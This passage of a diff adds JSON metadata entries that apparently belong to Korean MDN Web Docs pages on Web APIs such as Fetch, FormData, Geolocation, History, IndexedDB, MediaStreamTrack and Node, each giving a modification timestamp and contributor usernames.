+    "modified": "2020-10-15T21:43:23.962Z",
+    "contributors": [
+      "AHNJAEHA",
+      "alattalatta",
+      "DeadIntegral",
+      "cs09g"
+    ]
+  },
+  "Web/API/EventTarget/dispatchEvent": {
+    "modified": "2020-10-15T21:49:08.727Z",
+    "contributors": [
+      "cs09g",
+      "limkukhyun",
+      "Jaysok"
+    ]
+  },
+  "Web/API/EventTarget/removeEventListener": {
+    "modified": "2020-10-15T22:13:17.747Z",
+    "contributors": [
+      "jay94ks"
+    ]
+  },
+  "Web/API/FetchEvent": {
+    "modified": "2020-10-15T22:10:14.499Z",
+    "contributors": [
+      "duduindo"
+    ]
+  },
+  "Web/API/FetchEvent/respondWith": {
+    "modified": "2020-10-15T22:10:13.327Z",
+    "contributors": [
+      "LeeJunyeol"
+    ]
+  },
+  "Web/API/Fetch_API": {
+    "modified": "2020-10-15T21:59:47.472Z",
+    "contributors": [
+      "alattalatta",
+      "ggihwa",
+      "jennybehan",
+      "gw1021",
+      "BANIP"
+    ]
+  },
+  "Web/API/Fetch_API/Basic_concepts": {
+    "modified": "2019-03-18T21:45:15.491Z",
+    "contributors": [
+      "BANIP"
+    ]
+  },
+  "Web/API/Fetch_API/Fetch의_사용법": {
+    "modified": "2020-10-15T22:00:18.673Z",
+    "contributors": [
+      "JINSUNG1048",
+      "CressZZ",
+      "LiamYong",
+      "ajy720",
+      "limkukhyun",
+      "briz",
+      "mukeunzi",
+      "real0131",
+      "2dubbing",
+      "BANIP"
+    ]
+  },
+  "Web/API/File": {
+    "modified": "2020-10-15T22:10:43.496Z",
+    "contributors": [
+      "alattalatta",
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/File/File": {
+    "modified": "2020-10-15T22:14:18.274Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/File/Using_files_from_web_applications": {
+    "modified": "2019-04-12T12:59:03.189Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/File/name": {
+    "modified": "2020-10-15T22:11:39.883Z",
+    "contributors": [
+      "alattalatta",
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/File/size": {
+    "modified": "2019-03-18T20:48:30.715Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/FileList": {
+    "modified": "2019-03-18T21:44:05.861Z",
+    "contributors": [
+      "Latera",
+      "samee",
+      "Limwanchul"
+    ]
+  },
+  "Web/API/FileReader": {
+    "modified": "2020-10-15T21:32:59.452Z",
+    "contributors": [
+      "alattalatta",
+      "linearhw",
+      "kuil09",
+      "Luavis"
+    ]
+  },
+  "Web/API/FileReader/loadend_event": {
+    "modified": "2020-10-15T22:22:06.964Z",
+    "contributors": [
+      "nmsohn"
+    ]
+  },
+  "Web/API/FileReader/readAsDataURL": {
+    "modified": "2019-03-23T22:25:29.939Z",
+    "contributors": [
+      "kuil09"
+    ]
+  },
+  "Web/API/FileReader/readAsText": {
+    "modified": "2020-10-15T22:28:44.098Z",
+    "contributors": [
+      "guyeol"
+    ]
+  },
+  "Web/API/FileReader/result": {
+    "modified": "2019-03-23T23:14:29.237Z",
+    "contributors": [
+      "fscholz",
+      "junho85"
+    ]
+  },
+  "Web/API/File_and_Directory_Entries_API": {
+    "modified": "2020-10-15T22:31:56.758Z",
+    "contributors": [
+      "letheian17"
+    ]
+  },
+  "Web/API/FormData": {
+    "modified": "2020-10-15T21:52:49.372Z",
+    "contributors": [
+      "wisedog",
+      "DeadIntegral",
+      "SangMin_Kang",
+      "HanHyeoksu"
+    ]
+  },
+  "Web/API/FormData/FormData": {
+    "modified": "2020-10-15T22:08:23.118Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/FormData/append": {
+    "modified": "2020-10-15T22:08:27.942Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/FormData/delete": {
+    "modified": "2020-10-15T22:08:25.725Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/FormData/entries": {
+    "modified": "2020-10-15T22:08:25.366Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/FormData/get": {
+    "modified": "2020-10-15T22:08:25.567Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/FormData/getAll": {
+    "modified": "2020-10-15T22:08:25.038Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/FormData/has": {
+    "modified": "2020-10-15T22:08:25.617Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/FormData/keys": {
+    "modified": "2020-10-15T22:08:26.651Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/FormData/set": {
+    "modified": "2020-10-15T22:08:26.104Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/FormData/values": {
+    "modified": "2020-10-15T22:08:29.390Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/Gamepad_API": {
+    "modified": "2020-12-03T14:48:49.300Z",
+    "contributors": [
+      "dink95",
+      "alattalatta",
+      "khg0712",
+      "chrisdavidmills"
+    ]
+  },
+  "Web/API/Gamepad_API/Using_the_Gamepad_API": {
+    "modified": "2020-10-15T21:55:46.560Z",
+    "contributors": [
+      "lololtoday",
+      "alattalatta",
+      "khg0712"
+    ]
+  },
+  "Web/API/Geolocation": {
+    "modified": "2020-10-15T21:33:03.322Z",
+    "contributors": [
+      "alattalatta",
+      "cs09g",
+      "pjc0247",
+      "fscholz"
+    ]
+  },
+  "Web/API/Geolocation/clearWatch": {
+    "modified": "2020-10-15T22:19:28.517Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Geolocation/getCurrentPosition": {
+    "modified": "2020-10-15T21:23:14.982Z",
+    "contributors": [
+      "alattalatta",
+      "fscholz",
+      "3600s",
+      "khalid32",
+      "xcoda"
+    ]
+  },
+  "Web/API/Geolocation/watchPosition": {
+    "modified": "2020-10-15T22:27:23.834Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/GeolocationPosition": {
+    "modified": "2020-10-15T22:19:21.262Z",
+    "contributors": [
+      "alattalatta",
+      "chrisdavidmills"
+    ]
+  },
+  "Web/API/Geolocation_API": {
+    "modified": "2020-10-15T22:28:32.038Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/GlobalEventHandlers": {
+    "modified": "2020-10-15T21:38:25.913Z",
+    "contributors": [
+      "alattalatta",
+      "cs09g",
+      "jwhitlock"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onchange": {
+    "modified": "2020-10-15T22:05:47.826Z",
+    "contributors": [
+      "alattalatta",
+      "chocojoa"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onclick": {
+    "modified": "2020-10-15T22:10:25.598Z",
+    "contributors": [
+      "alattalatta",
+      "Parcovia"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/oncontextmenu": {
+    "modified": "2019-03-23T22:08:19.174Z",
+    "contributors": [
+      "project42da"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/ondblclick": {
+    "modified": "2020-10-15T22:05:47.608Z",
+    "contributors": [
+      "baleineindigo",
+      "alattalatta",
+      "chocojoa"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onkeydown": {
+    "modified": "2020-10-15T22:05:49.061Z",
+    "contributors": [
+      "alattalatta",
+      "chocojoa"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onkeyup": {
+    "modified": "2019-03-23T22:48:40.096Z",
+    "contributors": [
+      "teoli",
+      "wizardbear"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onpointerenter": {
+    "modified": "2020-10-15T22:31:17.998Z",
+    "contributors": [
+      "baleineindigo"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onscroll": {
+    "modified": "2020-10-15T22:22:09.396Z",
+    "contributors": [
+      "rodeck826"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onsubmit": {
+    "modified": "2019-03-23T22:27:57.488Z",
+    "contributors": [
+      "hoony"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/ontouchstart": {
+    "modified": "2019-03-23T22:28:01.859Z",
+    "contributors": [
+      "hoony"
+    ]
+  },
+  "Web/API/HTMLBRElement": {
+    "modified": "2020-10-15T22:15:37.299Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/HTMLCanvasElement": {
+    "modified": "2019-03-18T20:54:18.816Z",
+    "contributors": [
+      "kesuskim"
+    ]
+  },
+  "Web/API/HTMLCanvasElement/getContext": {
+    "modified": "2020-10-15T22:18:45.681Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/HTMLCollection": {
+    "modified": "2019-05-31T10:52:53.389Z",
+    "contributors": [
+      "alattalatta",
+      "huusz"
+    ]
+  },
+  "Web/API/HTMLCollection/item": {
+    "modified": "2020-10-15T22:08:11.352Z",
+    "contributors": [
+      "whdckszxxx"
+    ]
+  },
+  "Web/API/HTMLDivElement": {
+    "modified": "2020-10-15T22:04:55.251Z",
+    "contributors": [
+      "alattalatta",
+      "cs09g"
+    ]
+  },
+  "Web/API/HTMLDocument": {
+    "modified": "2019-03-18T21:35:01.320Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/HTMLElement": {
+    "modified": "2020-10-15T21:33:05.054Z",
+    "contributors": [
+      "alattalatta",
+      "cs09g",
+      "fscholz"
+    ]
+  },
+  "Web/API/HTMLElement/accessKeyLabel": {
+    "modified": "2020-10-15T22:14:24.446Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/HTMLElement/click": {
+    "modified": "2020-10-15T22:14:46.730Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/HTMLElement/contentEditable": {
+    "modified": "2020-10-15T22:19:29.357Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/HTMLElement/dataset": {
+    "modified": "2020-10-15T21:56:46.705Z",
+    "contributors": [
+      "Kaben",
+      "alattalatta",
+      "jyhwng",
+      "KimSejune"
+    ]
+  },
+  "Web/API/HTMLElement/input_event": {
+    "modified": "2020-10-15T22:27:30.949Z",
+    "contributors": [
+      "composite"
+    ]
+  },
+  "Web/API/HTMLElement/offsetParent": {
+    "modified": "2020-10-15T22:00:41.448Z",
+    "contributors": [
+      "SphinxKnight",
+      "kewlbear"
+    ]
+  },
+  "Web/API/HTMLElement/outerText": {
+    "modified": "2020-10-15T22:10:03.006Z",
+    "contributors": [
+      "EugeneKim"
+    ]
+  },
+  "Web/API/HTMLElement/style": {
+    "modified": "2020-10-15T21:18:22.703Z",
+    "contributors": [
+      "alattalatta",
+      "fscholz",
+      "AshfaqHossain",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/API/HTMLElement/tabIndex": {
+    "modified": "2019-03-23T23:42:52.929Z",
+    "contributors": [
+      "fscholz",
+      "jsx",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/API/HTMLFormElement": {
+    "modified": "2020-10-15T21:18:27.982Z",
+    "contributors": [
+      "alattalatta",
+      "fscholz",
+      "jsx",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/API/HTMLHyperlinkElementUtils": {
+    "modified": "2020-10-15T22:15:23.043Z",
+    "contributors": [
+      "connorshea"
+    ]
+  },
+  "Web/API/HTMLHyperlinkElementUtils/href": {
+    "modified": "2020-10-15T22:15:22.693Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/HTMLLIElement": {
+    "modified": "2020-10-15T22:24:50.064Z",
+    "contributors": [
+      "melangyun"
+    ]
+  },
+  "Web/API/HTMLMediaElement": {
+    "modified": "2020-10-15T22:14:51.040Z",
+    "contributors": [
+      "ahnzaz"
+    ]
+  },
+  "Web/API/HTMLMediaElement/autoplay": {
+    "modified": "2020-10-15T22:20:29.563Z",
+    "contributors": [
+      "ahnzaz"
+    ]
+  },
+  "Web/API/HTMLMediaElement/canplay_event": {
+    "modified": "2019-03-18T20:49:26.047Z",
+    "contributors": [
+      "estelle",
+      "ExE-Boss",
+      "fscholz",
+      "dragmove"
+    ]
+  },
+  "Web/API/HTMLMediaElement/canplaythrough_event": {
+    "modified": "2019-03-18T20:49:29.615Z",
+    "contributors": [
+      "estelle",
+      "ExE-Boss",
+      "fscholz",
+      "dragmove"
+    ]
+  },
+  "Web/API/HTMLOptionElement": {
+    "modified": "2020-10-15T22:30:21.466Z",
+    "contributors": [
+      "chlgusrb14747"
+    ]
+  },
+  "Web/API/HTMLSelectElement": {
+    "modified": "2020-10-15T22:30:22.387Z",
+    "contributors": [
+      "Loadmaster"
+    ]
+  },
+  "Web/API/HTMLSelectElement/selectedOptions": {
+    "modified": "2020-10-15T22:30:21.753Z",
+    "contributors": [
+      "chlgusrb14747"
+    ]
+  },
+  "Web/API/HTMLSpanElement": {
+    "modified": "2020-10-15T22:10:14.373Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/HTMLTableElement": {
+    "modified": "2019-03-23T23:42:46.713Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/API/HTMLTableElement/width": {
+    "modified": "2019-03-23T23:53:04.220Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "Netaras",
+      "Dongnamri"
+    ]
+  },
+  "Web/API/HTMLTemplateElement": {
+    "modified": "2020-10-15T22:12:35.811Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/HTMLTitleElement": {
+    "modified": "2020-10-15T22:15:37.151Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/HTMLVideoElement": {
+    "modified": "2020-10-15T22:20:19.011Z",
+    "contributors": [
+      "ahnzaz"
+    ]
+  },
+  "Web/API/HTML_드래그_앤_드롭_API": {
+    "modified": "2020-09-06T00:51:11.619Z",
+    "contributors": [
+      "zzoPark",
+      "jinyoung",
+      "constmoon",
+      "lundella",
+      "jinhyukkim"
+    ]
+  },
+  "Web/API/HTML_드래그_앤_드롭_API/Drag_operations": {
+    "modified": "2019-03-18T21:31:26.321Z",
+    "contributors": [
+      "dolmoon"
+    ]
+  },
+  "Web/API/History": {
+    "modified": "2020-10-15T21:46:21.001Z",
+    "contributors": [
+      "alattalatta",
+      "joshua1988"
+    ]
+  },
+  "Web/API/History/back": {
+    "modified": "2020-10-15T22:26:51.539Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/History/forward": {
+    "modified": "2020-10-15T22:26:51.802Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/History/go": {
+    "modified": "2020-10-15T22:29:33.276Z",
+    "contributors": [
+      "2ssue"
+    ]
+  },
+  "Web/API/History/length": {
+    "modified": "2020-10-15T22:26:49.569Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/History/pushState": {
+    "modified": "2020-10-15T22:26:53.843Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/History/replaceState": {
+    "modified": "2020-10-15T22:29:11.727Z",
+    "contributors": [
+      "2ssue"
+    ]
+  },
+  "Web/API/History/scrollRestoration": {
+    "modified": "2020-10-15T22:23:27.883Z",
+    "contributors": [
+      "alattalatta",
+      "bershanskiy",
+      "HyunSeob"
+    ]
+  },
+  "Web/API/History/state": {
+    "modified": "2020-10-15T22:27:52.413Z",
+    "contributors": [
+      "huien126"
+    ]
+  },
+  "Web/API/History_API": {
+    "modified": "2020-10-15T21:45:56.027Z",
+    "contributors": [
+      "MyeonghwanCho",
+      "alattalatta",
+      "hoony",
+      "DublinCity",
+      "cheolee",
+      "cs09g",
+      "kimbumbum",
+      "WonbaeLee",
+      "danhojin",
+      "joshua1988"
+    ]
+  },
+  "Web/API/IdleDeadline": {
+    "modified": "2020-10-15T22:10:44.151Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/IdleDeadline/didTimeout": {
+    "modified": "2020-10-15T22:10:44.475Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/ImageCapture": {
+    "modified": "2020-10-15T22:27:09.529Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/ImageCapture/ImageCapture": {
+    "modified": "2020-10-15T22:27:09.311Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/ImageCapture/getPhotoCapabilities": {
+    "modified": "2020-10-15T22:27:09.248Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/ImageCapture/getPhotoSettings": {
+    "modified": "2020-10-15T22:27:09.454Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/ImageCapture/grabFrame": {
+    "modified": "2020-10-15T22:27:10.935Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/ImageCapture/takePhoto": {
+    "modified": "2020-10-15T22:27:09.631Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/ImageCapture/track": {
+    "modified": "2020-10-15T22:27:09.535Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/ImageData": {
+    "modified": "2019-03-23T22:54:04.416Z",
+    "contributors": [
+      "bsidesoft"
+    ]
+  },
+  "Web/API/Index": {
+    "modified": "2019-03-06T12:18:21.576Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/IndexedDB_API": {
+    "modified": "2020-02-21T12:46:53.785Z",
+    "contributors": [
+      "alattalatta",
+      "chrisdavidmills",
+      "younheeJang",
+      "QuanXiuzhi",
+      "DGURI",
+      "naduhy2",
+      "hyeonseok",
+      "claudepache"
+    ]
+  },
+  "Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB": {
+    "modified": "2020-01-13T04:48:21.538Z",
+    "contributors": [
+      "chrisdavidmills",
+      "alattalatta",
+      "LostCatLee",
+      "daesD",
+      "naduhy2",
+      "bingl2",
+      "nacyot",
+      "fscholz",
+      "JoonghunPark"
+    ]
+  },
+  "Web/API/IndexedDB_API/Using_IndexedDB": {
+    "modified": "2020-07-21T23:16:52.351Z",
+    "contributors": [
+      "letheian17",
+      "chrisdavidmills",
+      "isho",
+      "samee",
+      "DGURI",
+      "yongbam",
+      "WKBae",
+      "jhlee1979"
+    ]
+  },
+  "Web/API/IntersectionObserver": {
+    "modified": "2020-10-15T22:21:53.448Z",
+    "contributors": [
+      "ne2030"
+    ]
+  },
+  "Web/API/IntersectionObserver/IntersectionObserver": {
+    "modified": "2020-10-15T22:21:52.371Z",
+    "contributors": [
+      "ne2030",
+      "alattalatta"
+    ]
+  },
+  "Web/API/IntersectionObserver/observe": {
+    "modified": "2020-10-15T22:30:05.415Z",
+    "contributors": [
+      "4spartame"
+    ]
+  },
+  "Web/API/IntersectionObserver/root": {
+    "modified": "2020-10-15T22:30:03.620Z",
+    "contributors": [
+      "4spartame"
+    ]
+  },
+  "Web/API/Intersection_Observer_API": {
+    "modified": "2020-10-15T22:30:01.411Z",
+    "contributors": [
+      "4spartame",
+      "Atercatus"
+    ]
+  },
+  "Web/API/Location": {
+    "modified": "2020-10-15T22:16:16.807Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Location/reload": {
+    "modified": "2020-10-15T22:18:16.737Z",
+    "contributors": [
+      "alattalatta",
+      "chaewonkong",
+      "MartinYounghoonKim"
+    ]
+  },
+  "Web/API/MediaDevices": {
+    "modified": "2020-10-15T22:07:22.391Z",
+    "contributors": [
+      "alattalatta",
+      "fscholz"
+    ]
+  },
+  "Web/API/MediaDevices/enumerateDevices": {
+    "modified": "2020-10-15T22:13:34.171Z",
+    "contributors": [
+      "hyunkwon_88_cho"
+    ]
+  },
+  "Web/API/MediaDevices/getUserMedia": {
+    "modified": "2020-10-15T22:07:21.393Z",
+    "contributors": [
+      "alattalatta",
+      "sgim74528"
+    ]
+  },
+  "Web/API/MediaStreamTrack": {
+    "modified": "2020-10-15T22:27:13.280Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/MediaStreamTrack/applyConstraints": {
+    "modified": "2020-10-15T22:27:23.822Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/MediaStreamTrack/clone": {
+    "modified": "2020-10-15T22:27:12.749Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/MediaStreamTrack/enabled": {
+    "modified": "2020-10-15T22:27:23.483Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/MediaStreamTrack/getCapabilities": {
+    "modified": "2020-10-15T22:27:32.401Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/MediaStreamTrack/getConstraints": {
+    "modified": "2020-10-15T22:27:31.593Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/MediaStreamTrack/getSettings": {
+    "modified": "2020-10-15T22:27:31.716Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/MediaStreamTrack/id": {
+    "modified": "2020-10-15T22:27:13.932Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/MediaStreamTrack/kind": {
+    "modified": "2020-10-15T22:27:13.095Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/MediaStreamTrack/label": {
+    "modified": "2020-10-15T22:27:33.867Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/MediaStreamTrack/muted": {
+    "modified": "2020-10-15T22:27:21.279Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/MediaStreamTrack/readyState": {
+    "modified": "2020-10-15T22:27:12.348Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/MediaStreamTrack/stop": {
+    "modified": "2020-10-15T22:27:14.982Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/MediaStream_Image_Capture_API": {
+    "modified": "2020-10-15T22:27:09.295Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/MediaTrackConstraints": {
+    "modified": "2020-10-15T22:27:34.506Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Media_Streams_API": {
+    "modified": "2020-10-15T22:21:47.276Z",
+    "contributors": [
+      "alattalatta",
+      "chansbro"
+    ]
+  },
+  "Web/API/MessageEvent": {
+    "modified": "2019-03-23T22:25:15.394Z",
+    "contributors": [
+      "nicekkong"
+    ]
+  },
+  "Web/API/MouseEvent": {
+    "modified": "2020-10-15T22:28:07.612Z",
+    "contributors": [
+      "imdasom"
+    ]
+  },
+  "Web/API/MouseEvent/clientX": {
+    "modified": "2020-10-12T11:57:49.704Z",
+    "contributors": [
+      "owstork94"
+    ]
+  },
+  "Web/API/MutationObserver": {
+    "modified": "2020-04-14T08:38:25.816Z",
+    "contributors": [
+      "2ssue",
+      "voidnoble"
+    ]
+  },
+  "Web/API/Navigator": {
+    "modified": "2020-10-15T21:33:07.782Z",
+    "contributors": [
+      "alattalatta",
+      "nmsohn",
+      "wbamberg",
+      "fscholz"
+    ]
+  },
+  "Web/API/Navigator/battery": {
+    "modified": "2019-03-23T23:26:40.127Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "Cho.Eun",
+      "teoli",
+      "oohii"
+    ]
+  },
+  "Web/API/Navigator/geolocation": {
+    "modified": "2020-10-15T22:19:19.512Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Navigator/mediaDevices": {
+    "modified": "2020-10-15T22:21:38.160Z",
+    "contributors": [
+      "alattalatta",
+      "chansbro"
+    ]
+  },
+  "Web/API/Navigator/registerProtocolHandler": {
+    "modified": "2020-10-15T21:16:08.500Z",
+    "contributors": [
+      "alattalatta",
+      "fscholz",
+      "khalid32",
+      "drry",
+      "Suguni"
+    ]
+  },
+  "Web/API/Navigator/share": {
+    "modified": "2020-10-15T22:21:13.721Z",
+    "contributors": [
+      "dragmove"
+    ]
+  },
+  "Web/API/NavigatorID": {
+    "modified": "2020-10-15T22:04:17.452Z",
+    "contributors": [
+      "fscholz",
+      "SSJ-unclear"
+    ]
+  },
+  "Web/API/NavigatorLanguage": {
+    "modified": "2020-10-15T21:59:32.837Z",
+    "contributors": [
+      "alattalatta",
+      "teoli"
+    ]
+  },
+  "Web/API/NavigatorLanguage/language": {
+    "modified": "2019-03-18T21:46:11.388Z",
+    "contributors": [
+      "yuj25"
+    ]
+  },
+  "Web/API/NavigatorOnLine": {
+    "modified": "2020-10-15T21:59:06.261Z",
+    "contributors": [
+      "alattalatta",
+      "chrisdavidmills"
+    ]
+  },
+  "Web/API/NavigatorOnLine/Online_and_offline_events": {
+    "modified": "2019-03-23T23:51:10.400Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Jeongkyu",
+      "조경빈"
+    ]
+  },
+  "Web/API/NetworkInformation": {
+    "modified": "2020-10-15T21:33:00.164Z",
+    "contributors": [
+      "alattalatta",
+      "fscholz"
+    ]
+  },
+  "Web/API/NetworkInformation/connection": {
+    "modified": "2019-03-23T23:26:48.403Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "hyeonseok"
+    ]
+  },
+  "Web/API/Node": {
+    "modified": "2020-10-15T21:33:01.643Z",
+    "contributors": [
+      "pinkbunny1",
+      "alattalatta",
+      "Ken123777",
+      "kewlbear",
+      "fscholz"
+    ]
+  },
+  "Web/API/Node/appendChild": {
+    "modified": "2019-06-10T03:07:55.678Z",
+    "contributors": [
+      "nugurejeil"
+    ]
+  },
+  "Web/API/Node/childNodes": {
+    "modified": "2019-03-23T23:42:26.773Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/API/Node/cloneNode": {
+    "modified": "2019-03-23T22:10:19.289Z",
+    "contributors": [
+      "galcyurio"
+    ]
+  },
+  "Web/API/Node/contains": {
+    "modified": "2019-04-02T21:43:20.193Z",
+    "contributors": [
+      "sujinlee0616",
+      "x86kernel"
+    ]
+  },
+  "Web/API/Node/firstChild": {
+    "modified": "2019-03-23T23:42:28.898Z",
+    "contributors": [
+      "wbamberg",
+      "fscholz",
+      "AshfaqHossain",
+      "teoli",
+      "Sheppy",
+      "Netaras"
+    ]
+  },
+  "Web/API/Node/hasChildNodes": {
+    "modified": "2019-03-23T22:28:25.733Z",
+    "contributors": [
+      "simonseo"
+    ]
+  },
+  "Web/API/Node/innerText": {
+    "modified": "2020-10-15T22:08:26.441Z",
+    "contributors": [
+      "alattalatta",
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/Node/insertBefore": {
+    "modified": "2020-10-15T22:11:13.634Z",
+    "contributors": [
+      "JaeWorld"
+    ]
+  },
+  "Web/API/Node/lastChild": {
+    "modified": "2019-03-23T23:42:31.487Z",
+    "contributors": [
+      "fscholz",
+      "AshfaqHossain",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/API/Node/nextSibling": {
+    "modified": "2019-03-23T22:12:29.026Z",
+    "contributors": [
+      "wbamberg",
+      "Jae_H.Hwang"
+    ]
+  },
+  "Web/API/Node/normalize": {
+    "modified": "2020-10-15T22:10:12.713Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/Node/ownerDocument": {
+    "modified": "2020-10-15T22:03:28.498Z",
+    "contributors": [
+      "dragmove"
+    ]
+  },
+  "Web/API/Node/previousSibling": {
+    "modified": "2019-03-23T22:50:47.218Z",
+    "contributors": [
+      "wbamberg",
+      "nonpuritan"
+    ]
+  },
+  "Web/API/Node/replaceChild": {
+    "modified": "2019-03-23T22:28:27.264Z",
+    "contributors": [
+      "nugurejeil"
+    ]
+  },
+  "Web/API/Node/textContent": {
+    "modified": "2020-10-15T21:54:58.950Z",
+    "contributors": [
+      "marieee",
+      "alattalatta",
+      "kooljay82"
+    ]
+  },
+  "Web/API/NodeFilter": {
+    "modified": "2020-10-15T22:00:37.168Z",
+    "contributors": [
+      "alattalatta",
+      "kewlbear"
+    ]
+  },
+  "Web/API/NodeList": {
+    "modified": "2020-10-15T21:32:59.282Z",
+    "contributors": [
+      "younghoh",
+      "DeadIntegral",
+      "huusz",
+      "fscholz"
+    ]
+  },
+  "Web/API/NodeList/entries": {
+    "modified": "2020-10-15T22:08:50.521Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/NodeList/forEach": {
+    "modified": "2020-10-15T22:08:50.553Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/NodeList/item": {
+    "modified": "2020-10-15T22:08:51.025Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/NodeList/keys": {
+    "modified": "2020-10-15T22:08:51.123Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/NodeList/length": {
+    "modified": "2019-03-23T23:42:30.177Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/API/NodeList/values": {
+    "modified": "2020-10-15T22:08:51.588Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/Notification/permission": {
+    "modified": "2019-03-23T23:26:30.659Z",
+    "contributors": [
+      "fscholz",
+      "AshfaqHossain",
+      "oohii"
+    ]
+  },
+  "Web/API/Notifications_API": {
+    "modified": "2020-10-15T22:14:45.240Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/NotifyAudioAvailableEvent": {
+    "modified": "2019-03-23T22:20:26.016Z",
+    "contributors": [
+      "alsntjsu"
+    ]
+  },
